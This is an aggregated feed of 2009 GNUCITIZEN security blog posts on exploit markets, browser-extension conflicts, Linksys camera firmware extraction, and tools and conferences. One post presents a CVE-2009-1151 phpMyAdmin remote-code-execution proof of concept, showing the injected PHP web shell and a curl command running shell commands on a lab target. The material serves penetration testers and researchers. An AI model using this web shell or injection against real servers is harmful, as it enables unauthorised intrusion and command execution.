<p><em>Just keep in mind that jeriko is merely an experiment. However, I realize that it has already become quite useful for some people. So, if you enjoy playing with bash scripts, and you you feel adventurous, please join us and make this project happen.</em></p><p>---<br/>recent posts from the gnucitizen network:</p><p><a href="http://feedproxy.google.com/~r/gnucitizen/~3/xcMw65rISY4/">Well Websecurify Runs on The iPhone</a><br/><a href="http://feedproxy.google.com/~r/gnucitizen/~3/Nt7uWV9YX6Y/">Stuxnet</a><br/><a href="http://feedproxy.google.com/~r/gnucitizen/~3/ekJpPZt6-pA/">Having fun with BeEF, the browser exploitation framework</a><br/><a href="http://www.hakiri.org/blog/the-making-of-metagun/">The Making of Metagun</a><br/><a href="http://feedproxy.google.com/~r/gnucitizen/~3/hW7xDNKI7sM/">ColdFusion directory traversal FAQ (CVE-2010-2861)</a><br/></p><img src="http://feeds.feedburner.com/~r/gnucitizen/~4/TtNVvmtSyEM" height="1" width="1"/>


title: Exploit Sweatshop
source: http://feedproxy.google.com/~r/gnucitizen/~3/rELeF2i51BY/
author: pdp
description:
<p>When I was playing/introducing the partial disclosure practice an year and something ago, I did get contacted by numerous dodgy characters willing to buy yet undisclosed vulnerabilities for substantial amount of money. Of course, requests of that nature were kindly ignored. I couldn&#8217;t believe that someone was willing to give me so much money for something I virtually spent 2-3 hours maximum to produce.</p>

<p>Later on, during the CONFidence 2008 event in Krakow I met a bunch of people who claimed that they already sell exploits to various UK companies and the figures that they were making were outstanding. To give you a clue, given the pound dollar difference at that time, you could have made 6 times more than what ZDI and other similar programs can offer you for a top range exploit. This is already better than a top salary in UK.</p>

<p>Same year, different event&#8230;  I saw an interesting presentation by Robert McArdle from Trend Micro. The presentation was titled <q>Fighting web Based, Profit-Driven Threats</q>. On one of his slides, Robert commented that <q>cybercrime is becoming more profitable than the drug cartels</q>. Perhaps you wont be able to make as much money from carding as you might expect but you can do quite well selling visualized stuff, such as exploits and exploit toolkits.</p>

<p>Present times, DojoSec Monthly Briefings&#8230; Matthew Watchinski from Sourcefire VRT <a href="http://vimeo.com/4110571">talked</a> about a PDF 0day spreading around Xmas time. The exploit took a couple of good months for Adobe to fix it. The author sold it for 75K to a unknown 3rd-party in China according to Matthew. The vulnerability was also relatively easy to find and required very little experience to exploit.</p>

<p>All of this leads to the very obvious conclusion which is that at present times cybercrime is a flourishing industry. Soon, there will be even more recruits coming to join the dark-side forces of the cybercrime cartels. They will do it for the money!</p>

<blockquote>No more free bugs you say? I say that <strong>you</strong> are leading people to become the next generation of cyber menace. Perhaps you forgot that the information security community was built on and thrived because of a simple but fundamental principle: knowledge must be free.</blockquote>

<h3>Sell The Bugs</h3>

<p>Regardless how good these figures may sound to you, you need to take a step back and think really well what you are getting into. Here are a few points that you need to consider before selling exploits:</p>

<ul>
<li><strong>Cybercrime is not a joke</strong> &#8211; If you get caught selling exploits to a dodgy 3rd-party you may end up with a prison sentence longer than the sentence of a child molester. If you live in US or UK you could be charged and treated as a terrorist which will completely destroy not only your life but the life of your closes people.</li>
<li><strong>TAX man problems</strong> &#8211; Oh Yes! Unjustifiable incomes could get you in trouble with the TAX man. The TAX man will hunt you and hurt you.</li>
<li><strong>Broken legs and other broken parts of the body</strong> &#8211; You have no idea to whom you are selling to. Tomorrow you may wake up with broken legs and twice as poorer as the day before.</li>
<li><strong>Even worse</strong> &#8211; People will kill for a lot less than 75K. Keep that in mind.</li>
</ul>

<p>In my humble opinion, exploit brokerage is a risky business. There is an unquantifiable risk associated with this practice and that is only due to the high price of exploits which are sold today.</p>

<h3>Exploit Sweatshop</h3>

<p>Nevertheless, it is just silly to believe that no one is producing and selling exploits in a large scale. Do you remember the numerous gaming sweatshops which sprung up like wild mushrooms after the recent heavy rains in 3rd-world countries? I recall seeing a documentary on a typical day in a Chinese WoW sweatshop. I remember I saw a room full of almost naked people, numerous PCs hooked up into a gigantic DIY network spreading across the entire floor. Most of the WoW accounts were fully automated, running from virtualized platforms.</p>

<p>The aim was simple: <strong>a)</strong> develop many characters in a semi-automated fashion by killing small animals and other things around the WoW world and <strong>b)</strong> sell the characters plus other artifacts to western buyers for a substantial amount of money. All of this can be achieved for as little as $70 a month per person. This is a remarkable business model which works extremely well.</p>

<p>Similarly, all you need is a bunch of programmers from India, China, or Eastern Europe to code up fuzzers and run them against as many software products as possible. At the end of the day memory corruption exploits a relative easy to detect. All you need is a crash caused by putting far too many 0&#215;41 in a buffer. The crash is already an indication that something is wrong. It requires a bit of manual work to figure out whether the crash is exploitable. From personal experience, and by looking into the work of my peers, it takes approximately 10 days to develop a crash into an exploit. Most of the times, the exploitability factor of a crash is apparent and therefore no time needs to be wasted. Other times, a crash can be archived for future investigation when it could become exploitable given it meets the necessary conditions.</p>

<p>Perhaps you can do all that by paying someone as little as $70 a month as it is the case with WoW sweatshops. That is 3 times less than what I am paying for just hosting. Therefore, I most certainly can afford to hire 3-4 people right now and even double their salaries, but let&#8217;s do the maths:</p>

<pre><code># average exploit price: <strong>$5000</strong>
# number of people to hire: <strong>5</strong>
# average monthly salary: <strong>$100</strong>
# job specs: <strong>write fuzzers</strong>

5 * 100 = $500 # a month expenses
5000 / 500 = 10 # months worth of work</code></pre>

<p>Heck, I can even put this bill on my credit card and pay as little as $50 a month. The chances that I will sell an exploit for $5K in the next 10 months are pretty high. $5K is only if I go with a legitimate company. I can probably make 6 times more by selling it to a dodgy 3rd-party. The only thing I need to worry about is the risk.</p>

<h3>Some Final Words</h3>

<p>Finally, I know that a lot of people are into the security business because of all the romanticism and the myths surrounding the <q>hacker</q> figure. Things look different once you become the hacker and your day job and lifestyle are surrounded by hacking and breaking into systems of any sort. There is nothing romantic about it.</p>

<p><em>So, don&#8217;t get into trouble for the wrong reasons. If you are young and you need advice what to do with your career, contact us or contact any one who has been into this industry long enough to give you a good and sensible advice. Just don&#8217;t jump onto the <q>No free bugs!</q> bandwagon.</em></p><p>---<br/>recent posts from the gnucitizen network:</p><p><a href="http://feedproxy.google.com/~r/gnucitizen/~3/xcMw65rISY4/">Well Websecurify Runs on The iPhone</a><br/><a href="http://feedproxy.google.com/~r/gnucitizen/~3/Nt7uWV9YX6Y/">Stuxnet</a><br/><a href="http://feedproxy.google.com/~r/gnucitizen/~3/ekJpPZt6-pA/">Having fun with BeEF, the browser exploitation framework</a><br/><a href="http://www.hakiri.org/blog/the-making-of-metagun/">The Making of Metagun</a><br/><a href="http://feedproxy.google.com/~r/gnucitizen/~3/hW7xDNKI7sM/">ColdFusion directory traversal FAQ (CVE-2010-2861)</a><br/></p><img src="http://feeds.feedburner.com/~r/gnucitizen/~4/rELeF2i51BY" height="1" width="1"/>


title: Extensions at War
source: http://feedproxy.google.com/~r/gnucitizen/~3/V3taPIIsstw/
author: pdp
description:
<p>Oh yes, the digital battlefield is taking unusual shapes. The latest manifestation of cyber warfare is a conflict between the Adblock Plus and the NoScript extensions. The <a href="http://adblockplus.org/blog/attention-noscript-users">story goes</a> that NoScript used some JavaScript tactics and, of course, some obfuscations in order to cripple the Adblock Plus functionalities. This attack was a response to Adblock Plus blocking NoScript ads which you see when you upgrade the extension, which as you know happens quite regularly, don&#8217;t know why.</p>

<p>The conflict seems to be resolved now to one degree or another but it is interesting to observe the whole situation and also draw important conclusions. Therefore, I&#8217;ve got several points I would like to bring to the table:</p>

<ol>
<li>More examples of similar nature will follow. Keep an eye on Facebook, Apple AppStore, Firefox and other platforms that allow 3rd-party components to be displayed, downloaded and executed.</li>
<li><a href="http://www.gnucitizen.org/blog/firefox-malware/">As I mentioned before</a>, a malicious piece of JavaScript code (even an obvious obfuscation) can be quite easily smuggled into harmlessly looking Firefox extensions. If I may speculate, the situation is the same for other similar platforms.</li>
<li>Unless platform vendors do something about it, they could become the next hot spot for all sorts of interesting malware.</li>
</ol>

<p><em>It is also very interesting to see the extend to which extension developers will go in order to protect their userbase. After all, larger userbase equals more money. And with <a href="http://blog.trailofbits.com/2009/03/22/no-more-free-bugs/">more people looking to quickly cache in</a>, the battlefield is truly changing for better or worse.</em></p><p>---<br/>recent posts from the gnucitizen network:</p><p><a href="http://feedproxy.google.com/~r/gnucitizen/~3/xcMw65rISY4/">Well Websecurify Runs on The iPhone</a><br/><a href="http://feedproxy.google.com/~r/gnucitizen/~3/Nt7uWV9YX6Y/">Stuxnet</a><br/><a href="http://feedproxy.google.com/~r/gnucitizen/~3/ekJpPZt6-pA/">Having fun with BeEF, the browser exploitation framework</a><br/><a href="http://www.hakiri.org/blog/the-making-of-metagun/">The Making of Metagun</a><br/><a href="http://feedproxy.google.com/~r/gnucitizen/~3/hW7xDNKI7sM/">ColdFusion directory traversal FAQ (CVE-2010-2861)</a><br/></p><img src="http://feeds.feedburner.com/~r/gnucitizen/~4/V3taPIIsstw" height="1" width="1"/>


title: Breaking Into a Home With an iPhone
source: http://feedproxy.google.com/~r/gnucitizen/~3/0BDN8BPqizg/
author: pdp
description:
<p>This is going to be one of these quick posts which just makes you think what the information security landscape will be like in 5 years. Before I move on with my commentary, here is a video which is essential for you to watch.</p>

<div class="screen"><object width="560" height="340"><param name="movie" value="http://www.youtube.com/v/rJfrdcbfXsc&#038;hl=en&#038;fs=1"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/rJfrdcbfXsc&#038;hl=en&#038;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="560" height="340"></embed></object></div>

<p>Got the idea? No? Let me explain. What you see in the video above is an application for the iPhone which gives you detailed characteristics of properties (houses) in USA. You can either search the map or just use your GPS coordinates to get information such as price of the house, number of floors, number of rooms, pictures taken from inside the house if the house was part of any register (letting agencies etc.) before you moved in, and other interesting information.</p>

<p>This is the kind of information gathering you see only in the movies. I won&#8217;t be surprised if future versions of these kind of applications can pool even essential blueprints which show not only how the house was constructed from architectural point of view but also show the power and gas grids and perhaps even any other wiring such as telephone, coaxial, etc.</p>

<p>All of this information is also available through easily accessible APIs. Perhaps these APIs are not publicly known but anyone who can run a sniffer most certainly can get hold of the URLs and their formats. Now mash this APIs with any other tool such as one that correlates IP address to physical location (not very accurate btw) or better yet a wardriving tool and you have a infowar machine in your pocket that will make any criminal organization proud of.</p>

<p>This was the main purpose of my <a href="http://www.gnucitizen.org/blog/for-my-next-trick-hacking-web20/">Web2.0 talk/research</a> from two years ago. Back then I made a very simple analogy which I would like to bring once again. When the email was invented nobody even suspected that it will be used for things such as spam and malware. That was something unimaginable. Today spam is the fastest growing criminal industry and malware delivered over email is the most successful one. In summary, we cannot foresee how a technology will be used/abused. That depends on the imagination of the people.</p>

<p>The same goes for the Web2.0 meme. The more we use it, the more ways we will find to abuse it. However it is also important to say that the more we use it the more accustomed we will become to it. Therefore, when the shit hits the fan there will be very little that we can do.</p>

<p><em>The reason I am bringing this up is not because I would like to start even more FUD around the Web2.0 mem but it is time for us to stop looking into the technical aspects and start thinking in terms of technologies that affect normal people. Sometimes, we just lack the realism and we fail to spot the obvious problems.</em></p><p>---<br/>recent posts from the gnucitizen network:</p><p><a href="http://feedproxy.google.com/~r/gnucitizen/~3/xcMw65rISY4/">Well Websecurify Runs on The iPhone</a><br/><a href="http://feedproxy.google.com/~r/gnucitizen/~3/Nt7uWV9YX6Y/">Stuxnet</a><br/><a href="http://feedproxy.google.com/~r/gnucitizen/~3/ekJpPZt6-pA/">Having fun with BeEF, the browser exploitation framework</a><br/><a href="http://www.hakiri.org/blog/the-making-of-metagun/">The Making of Metagun</a><br/><a href="http://feedproxy.google.com/~r/gnucitizen/~3/hW7xDNKI7sM/">ColdFusion directory traversal FAQ (CVE-2010-2861)</a><br/></p><img src="http://feeds.feedburner.com/~r/gnucitizen/~4/0BDN8BPqizg" height="1" width="1"/>


title: Hacking Linksys IP Cameras (pt 5)
source: http://feedproxy.google.com/~r/gnucitizen/~3/i5HZCjdXt3I/
author: pagvac
description:
<p><em>This article is a continuation of the following GNUCITIZEN articles: <a href="http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-1/">Hacking Linksys IP Cameras (pt 1)</a>, <a href="http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-2/">Hacking Linksys IP Cameras (pt 2)</a>, <a href="http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-3/">Hacking Linksys IP Cameras (pt 3)</a>, <a href="http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-4/">Hacking Linksys IP Cameras (pt 4)</a>.</em></p>

<h3>Mounting the filesystem on your workstation</h3>

<p>There are many ways to mount the camera&#8217;s filesystem using the firmware binary. In this post, we&#8217;ll explain one way to mount firmware version v1.00R24 which is the latest available for the WVC54GCA model.</p>

<p>If you were to only use the firmware binary, things could be a bit difficult, as you don&#8217;t know the format of the binary at all. However, having the GPL firmware helps a lot as we&#8217;ll see next. I emailed Linksys back on Apr 23, 2009 informing them that although the GPL firmware was available on their site for other Linksys products, they hadn&#8217;t uploaded the one for the WVC54GCA camera. A few days later, on Apr 27, 2009, Linksys kindly made it available and <a href="http://www.linksysbycisco.com/US/en/supportgplcode">has been available</a> ever since (the file to download is <code>wvc54gca_v1.00R24.tgz</code>).</p>

<p>Thanks to <a href="http://brooknet.no-ip.com/~lex/">Lex Landa</a>&#8216;s tips I was able to figure out the parameters required to mount the firmware binary, by analysing the data contained in the <code>./scripts/wvc54gc_usa_english/combine.cfg</code> file which is included with the <a href="http://downloads.linksysbycisco.com/downloads/wvc54gca_v1.00R24,5.tgz">GPL firmware</a>:</p>

<pre><code>size = 00400000
file = WVC54GCA.bin
f1_name = loader
f1_start = 00000000
f2_name=loader.ver
f2_start=00007FFE
f3_name=<strong>kernel</strong>
f3_start=<strong>00020000</strong>
f4_name=<strong>filesystem</strong>
f4_start=<strong>000E0000</strong>
f5_name=PID
f5_start=003FFFB2</code></pre>

<p>I simply focused on the <code>kernel</code> and <code>filesystem</code> parameters. The previous settings show that then kernel starts at <code>0x20000</code> (131072 bytes / 128 KB), and the filesystem starts at <code>0xE0000</code> (917504 bytes / 896 KB). In order to start <a href="http://en.wikipedia.org/wiki/Dd_(Unix)">dd</a> reading at <code>0xE0000</code>, we need to keep 7 chunks of 131072 bytes. i.e.:<code>7*131072=917504 bytes=0xE0000</code> (the position we want)</p>

<pre><code>$ dd if=DYFF08-402-1024.bin bs=<strong>131072</strong> of=fs.img skip=<strong>7</strong>
25+0 records in
25+0 records out
3276800 bytes (3.3 MB) copied, 0.019424 s, 169 MB/s</code></pre>

<p>We then verify that our image file is a valid <code>squashfs</code> filesystem:</p>

<pre><code>$ file fs.img 
fs.img:<strong> Squashfs</strong> filesystem, little endian, version 3.0, 2216311 bytes, 475 inodes, blocksize: 65536 bytes, created: Fri Nov  9 03:58:52 2007</code></pre>

<p>A finally mount it on our hardrive:</p>

<pre><code>$ sudo mkdir /mnt/test
$ sudo mount -t <strong>squashfs</strong> fs.img /mnt/test -o ro,loop
$ ls /mnt/test/
bin  dev  etc  lib  mnt  proc  root  sbin  tmp  usr  var</code></pre><p>---<br/>recent posts from the gnucitizen network:</p><p><a href="http://feedproxy.google.com/~r/gnucitizen/~3/xcMw65rISY4/">Well Websecurify Runs on The iPhone</a><br/><a href="http://feedproxy.google.com/~r/gnucitizen/~3/Nt7uWV9YX6Y/">Stuxnet</a><br/><a href="http://feedproxy.google.com/~r/gnucitizen/~3/ekJpPZt6-pA/">Having fun with BeEF, the browser exploitation framework</a><br/><a href="http://www.hakiri.org/blog/the-making-of-metagun/">The Making of Metagun</a><br/><a href="http://feedproxy.google.com/~r/gnucitizen/~3/hW7xDNKI7sM/">ColdFusion directory traversal FAQ (CVE-2010-2861)</a><br/></p><img src="http://feeds.feedburner.com/~r/gnucitizen/~4/i5HZCjdXt3I" height="1" width="1"/>


title: CVE-2009-1151: phpMyAdmin Remote Code Execution Proof of Concept
source: http://feedproxy.google.com/~r/gnucitizen/~3/MbrBV_cxDIg/
author: pagvac
description:
<p>I couldn&#8217;t find any public PoC/exploit for this <a href="http://www.phpmyadmin.net/home_page/index.php">phpMyAdmin</a> vulnerability, despite it being a serious bug affecting a popular open-source project. I think this vulnerability is a nice reminder that it&#8217;s still possible to perform remote command execution these days without relying on SQL injection (i.e.: <code>xp_cmdshell</code>) or a memory corruption bug (i.e.: heap overflow).</p>

<blockquote>All the documentation you need is in the script comments. I recommend you to go through it, before you actually run the script.</blockquote>

<p>After reading the public <a href="http://www.phpmyadmin.net/home_page/security/PMASA-2009-3.php">advisory</a> and patched code, and playing around for a while, I managed to have a working PoC bash script. The script will allow you to remotely run shell commands and PHP code against vulnerable targets. Although in principle the vulnerability sounds quite simple, it actually took me a while to go from <a href="http://www.phpmyadmin.net/home_page/security/PMASA-2009-3.php">advisory</a> to working attack code.</p>

<p><em>I&#8217;m providing the script with the hope that it will help pentesters and security researchers. Please only test the script against your own systems, or systems you have been given permission to pentest! Don&#8217;t be evil, it&#8217;s not worth it.</em></p>

<h3>Demo</h3>

<pre><code>$ ./phpMyAdminRCE.sh
usage: ./phpMyAdminRCE.sh <phpMyAdmin_base_URL>
i.e.: ./phpMyAdminRCE.sh http://target.tld/phpMyAdmin/

$ ./phpMyAdminRCE.sh http://172.16.211.10/phpMyAdmin-3.0.1.1/
[+] checking if phpMyAdmin exists on URL provided ...
[+] phpMyAdmin cookie and form token received successfully. Good!
[+] attempting to inject phpinfo() ...
[+] success! phpinfo() injected successfully! output saved on /tmp/phpMyAdminRCE.sh.9217.phpinfo.flag.html
[+] you *should* now be able to remotely run shell commands and PHP code using your browser. i.e.:

http://172.16.211.10/phpMyAdmin-3.0.1.1//config/config.inc.php?c=ls+-l+/


http://172.16.211.10/phpMyAdmin-3.0.1.1//config/config.inc.php?p=phpinfo();

    please send any feedback/improvements for this script to unknown.pentester<AT_sign_goes_here>gmail.com

$ curl "http://172.16.211.10/phpMyAdmin-3.0.1.1//config/config.inc.php?c=ls+-l+/"
total 96
drwxr-xr-x   2 root   root  4096 Mar 11 10:12 bin
drwxr-xr-x   3 root   root  4096 May  6 10:01 boot
lrwxrwxrwx   1 root   root    11 Oct 12  2008 cdrom -> media/cdrom
drwxr-xr-x  15 root   root 14300 Jun  5 09:02 dev
drwxr-xr-x 147 root   root 12288 Jun  5 09:02 etc
drwxr-xr-x   3 root   root  4096 Oct 18  2008 home
drwxr-xr-x   2 root   root  4096 Jul  2  2008 initrd
<em>[partial output removed for brevity reasons]</em></code></pre>

<p>Contents of <code>/config/config.inc.php</code> after our evil code has been successfully injected (injected code shown in <strong>bold</strong>):</p>

<pre><code>&lt;?php
/*
 * Generated configuration file
 * Generated by: phpMyAdmin 3.0.1.1 setup script by Michal ÄŒihaÅ™ &lt;michal@cihar.com&gt;
 * Version: $Id: setup.php 11423 2008-07-24 17:26:05Z lem9 $
 * Date: Tue, 09 Jun 2009 14:13:34 GMT
 */

/* Servers configuration */
$i = 0;

/* Server  (config:root) [1] */
$i++;
$cfg[&apos;Servers&apos;][$i][&apos;host&apos;]=&apos;<strong>&apos;; if($_GET[&apos;c&apos;]){echo
&apos;&lt;pre&gt;&apos;;system($_GET[&apos;c&apos;]);echo &apos;&lt;/pre&gt;&apos;;}if($_GET[&apos;p&apos;]){echo
&apos;&lt;pre&gt;&apos;;eval($_GET[&apos;p&apos;]);echo &apos;&lt;/pre&gt;&apos;;};//</strong>&apos;] = &apos;localhost&apos;;
$cfg[&apos;Servers&apos;][$i][&apos;extension&apos;] = &apos;mysqli&apos;;
$cfg[&apos;Servers&apos;][$i][&apos;connect_type&apos;] = &apos;tcp&apos;;
$cfg[&apos;Servers&apos;][$i][&apos;compress&apos;] = false;
$cfg[&apos;Servers&apos;][$i][&apos;auth_type&apos;] = &apos;config&apos;;
$cfg[&apos;Servers&apos;][$i][&apos;user&apos;] = &apos;root&apos;;

/* End of servers configuration */

?&gt;</code></pre>

<h3>Thanks</h3>

<p><em>I&#8217;d like to thank <a href="http://labs.neohapsis.com/2009/04/06/about-cve-2009-1151/">Greg Ose</a> for discovering such a cool vuln and doing a nice writeup about the technical details! Also big thanks to <a href="http://www.milw0rm.com/">str0ke</a> for testing this PoC script and providing such useful feedback!</em></p><p>---<br/>recent posts from the gnucitizen network:</p><p><a href="http://feedproxy.google.com/~r/gnucitizen/~3/xcMw65rISY4/">Well Websecurify Runs on The iPhone</a><br/><a href="http://feedproxy.google.com/~r/gnucitizen/~3/Nt7uWV9YX6Y/">Stuxnet</a><br/><a href="http://feedproxy.google.com/~r/gnucitizen/~3/ekJpPZt6-pA/">Having fun with BeEF, the browser exploitation framework</a><br/><a href="http://www.hakiri.org/blog/the-making-of-metagun/">The Making of Metagun</a><br/><a href="http://feedproxy.google.com/~r/gnucitizen/~3/hW7xDNKI7sM/">ColdFusion directory traversal FAQ (CVE-2010-2861)</a><br/></p><img src="http://feeds.feedburner.com/~r/gnucitizen/~4/MbrBV_cxDIg" height="1" width="1"/>


title: Of Sec Cons and Magstripe Gift Cards
source: http://feedproxy.google.com/~r/gnucitizen/~3/yiuUen9-FhI/
author: pagvac
description:
<p>I&#8217;ve been meaning to talk about <a href="http://2009.confidence.org.pl/lang-pref/en/">CONFidence</a> and <a href="http://eusecwest.com/">EUSecWest</a> for quite a while, but May was such an intense month for me, that&#8217;s hardly left me with any time for other things. I eventually got caught up with other matters, which resulted in me publishing this post about 2 months late.</p>

<p>I&#8217;ve been researching, pentesting, and preparing two different presentations which I gave at <a href="http://2009.confidence.org.pl/prelegenci/adrian-pastor">CONFidence</a> in Krakow, and <a href="http://eusecwest.com/agenda.html">EUSecWest</a> in London. pdp has also been busy presenting at <a href="http://conference.auscert.org.au/conf2009/presenter.php?presenter_id=P_P">AusCERT2009</a>. In his Weaponry 2.0, pdp talked about current challenges experienced by pentesters, shared some of his experiments (i.e.: using QEMU) and introduced his <a href="http://www.gnucitizen.org/blog/jeriko-group-and-source-code-repository/">Jeriko</a> pentesting environment (NOT framework!).</p>

<p>My CONFidence presentation was on PCI DSS, and credit card theft from a pentester&#8217;s perspective. I attempted to explain why it&#8217;s possible for unsophisticated criminals to compromise credit card data. I also shared my frustrations with the PCI DSS standards, including some of its current weaknesses.</p>

<p>On the other hand, my EUSecWest presentation was on attacking magstripes gift cards, which apppear to be on the rise in the UK. The core of the research is about <em>cloning (activated) gift cards without physically swiping the magnetic stripes.</em> Trust me when I say that there is a lot of truth on <a href="http://twitter.com/dragosr/status/1949951235">Drago&#8217;s</a> tweet regarding this research! My EUSecWest slides have just been recently <a href="http://research.corsaire.com/presentations/">published</a>. More details will soon be available on a white paper which will be available on <a href="http://research.corsaire.com/">Corsaire Research</a> website.</p>

<h3>Thanks</h3>

<p>I&#8217;d like to thank the organizers of these two great conferences, namely Andrzej Targosz from CONFidence and <a href="http://twitter.com/dragosr">Dragos Ruiu</a> from EUSecWest (plus their respective crews of course).</p>

<p>Also, special thanks to <a href="http://www.corsaire.com/">Corsaire</a> who sponsored the time needed to prepare my presentation. I originally started my magstripe gift cards research about 3 years ago, but left it unattended for so long. If it wasn&#8217;t for Corsaire, this research wouldn&#8217;t have been resumed.</p>

<p><em>Finally, but not least, thanks to everyone who helped me prepare my presentations such as Jan Fry, Amir Azam, pavlovs_dog, Monsy Carlo, etc.</em></p><p>---<br/>recent posts from the gnucitizen network:</p><p><a href="http://feedproxy.google.com/~r/gnucitizen/~3/xcMw65rISY4/">Well Websecurify Runs on The iPhone</a><br/><a href="http://feedproxy.google.com/~r/gnucitizen/~3/Nt7uWV9YX6Y/">Stuxnet</a><br/><a href="http://feedproxy.google.com/~r/gnucitizen/~3/ekJpPZt6-pA/">Having fun with BeEF, the browser exploitation framework</a><br/><a href="http://www.hakiri.org/blog/the-making-of-metagun/">The Making of Metagun</a><br/><a href="http://feedproxy.google.com/~r/gnucitizen/~3/hW7xDNKI7sM/">ColdFusion directory traversal FAQ (CVE-2010-2861)</a><br/></p><img src="http://feeds.feedburner.com/~r/gnucitizen/~4/yiuUen9-FhI" height="1" width="1"/>


title: Free Web Application Security Testing Tool
source: http://feedproxy.google.com/~r/gnucitizen/~3/YE55z5NLzgE/
author: pdp
description:
<p>Automated Web Application Security Testing tools are in the core of modern penetration testing practices. You cannot rely 100% on the results they produce, without considering seriously their limitations. However, because these tools are so good at picking the low-hanging fruit by employing force and repetition, they still have a place in our arsenal of penetrating testing equipment.</p>

<p>These tools are not unfamiliar to modern day penetration testers. In fact, there are plenty of them to choose from, ranging from low-grade command line utilities to high-end frameworks. There are plenty of commercial tools as well some of which are a lot better, in terms of features and false-positives rate, when compared to open source alternatives. People often choose what they are more familiar with. I prefer to use tools that are right for the job without discriminating a particular operating system, platform, and style.</p>

<p>Without further ado, I would like to introduce to you yet another tool to compete in the market of automated web application security scanners (not only), released as part of our own <a href="http://www.websecurify.com">Websecurify</a> initiative. The tools is called Websecurify (big surprise) and it is written on the top of common web technologies, which provide significant benefit over other technologies used in open source and commercial alternative products.</p>

<p>Here are some of the key features of Websecurify:</p>

<ol>
<li>It is 100% open source, GPL, CC product, ready to benefit the open source movement</li>
<li>The engine employs technologies, such as Web Workers, from the latest HTML5 specs</li>
<li>Most of the code is written in JavaScript but many parts can be rewritten or extended with Python, Java and C</li>
<li>The core engine can be taken out from the binary bundles and used as part of self-defending web applications. I will talk about this soon.</li>
<li>The testing and reporting mechanisms are asynchronous. This means that the report is cooking while the test is performed. It also means that decisions are taken immediately, i.e. they are not scheduled.</li>
<li>The tool is cross-platformed thanks to xulrunner</li>
<li>Everything is written with extensibility in mind</li>
<li>It can be extended in pretty much the same way you can extend Firefox and Thunderbird</li>
</ol>

<p>There are many other features, which I am going to talk about soon.</p>

<p>At the moment the tool is only available as a MacOS DMG package and source code. The Windows and Linux versions will be released soon. In the future we are planning release all platform specific packages at the same time. Now is just an exception as we are mostly interested to get an early feedback. I am sure that that there will be a lot of bugs to fix and features to add/improve before we reach version 1.0.</p>

<p>Version 0.2 can be downloaded from <a href="http://www.websecurify.com">www.websecurify.com</a> or our <a href="http://code.google.com/p/websecurify/">source code repository</a>.</p>

<p><em>If you have any feedback or you would like to contribute to this project, please do let us know. We can use any help possible.</em></p><p>---<br/>recent posts from the gnucitizen network:</p><p><a href="http://feedproxy.google.com/~r/gnucitizen/~3/xcMw65rISY4/">Well Websecurify Runs on The iPhone</a><br/><a href="http://feedproxy.google.com/~r/gnucitizen/~3/Nt7uWV9YX6Y/">Stuxnet</a><br/><a href="http://feedproxy.google.com/~r/gnucitizen/~3/ekJpPZt6-pA/">Having fun with BeEF, the browser exploitation framework</a><br/><a href="http://www.hakiri.org/blog/the-making-of-metagun/">The Making of Metagun</a><br/><a href="http://feedproxy.google.com/~r/gnucitizen/~3/hW7xDNKI7sM/">ColdFusion directory traversal FAQ (CVE-2010-2861)</a><br/></p><img src="http://feeds.feedburner.com/~r/gnucitizen/~4/YE55z5NLzgE" height="1" width="1"/>


title: Skydive
source: http://feedproxy.google.com/~r/gnucitizen/~3/uiN_CvNhlow/
author: pdp
description:
<p><q>What is the best way to spend a quiet, weekend afternoon?</q> &#8211; Jump off a perfectly working plane while 10,000 feet in the air.</p>

<div class="screen"><object width="560" height="340"><param name="movie" value="http://www.youtube.com/v/dw2SnTcbTKA&#038;hl=en&#038;fs=1&#038;"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/dw2SnTcbTKA&#038;hl=en&#038;fs=1&#038;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="560" height="340"></embed></object></div>

<p><em>On 5th of July 2009, the GNUCITIZEN team and friends came together to perform a <a href="http://www.gnucitizen.net/cmpgn/skydive">skydiving gig</a>. It has been two months since that day but memories are still as clear as yesterday.</em></p><p>---<br/>recent posts from the gnucitizen network:</p><p><a href="http://feedproxy.google.com/~r/gnucitizen/~3/xcMw65rISY4/">Well Websecurify Runs on The iPhone</a><br/><a href="http://feedproxy.google.com/~r/gnucitizen/~3/Nt7uWV9YX6Y/">Stuxnet</a><br/><a href="http://feedproxy.google.com/~r/gnucitizen/~3/ekJpPZt6-pA/">Having fun with BeEF, the browser exploitation framework</a><br/><a href="http://www.hakiri.org/blog/the-making-of-metagun/">The Making of Metagun</a><br/><a href="http://feedproxy.google.com/~r/gnucitizen/~3/hW7xDNKI7sM/">ColdFusion directory traversal FAQ (CVE-2010-2861)</a><br/></p><img src="http://feeds.feedburner.com/~r/gnucitizen/~4/uiN_CvNhlow" height="1" width="1"/>


title: Old-school Remote Command Exec Vulnerabilities on Avaya Intuity
source: http://feedproxy.google.com/~r/gnucitizen/~3/N2mMnIALMMg/
author: pagvac
description:
<p>Remember those old remote command exec vulns where you had a CGI script such as a perl program which would take input from the client to construct command strings that would then be passed to the shell environment? Well, there were tons of those affecting diagnostic scripts available on the web interface of Avaya Intuity Audix LX.</p>

<blockquote>I successfully tested them on version 1.1, and according to Avaya this is the latest vulnerable version (version 2.0 is <em>NOT</em> affected apparently).</blockquote>

<p>These vulnerabilities, although cool, are not critical since you need to be logged into the interface in order to exploit them. That being said, it could be handy for bypassing restricting imposed by the web GUI and eventually escalate privileges.</p>

<p>Apart from that, there were also the usual client-side bugs such as XSS and CSRF which are usually expected of an appliance with a web interface.</p>

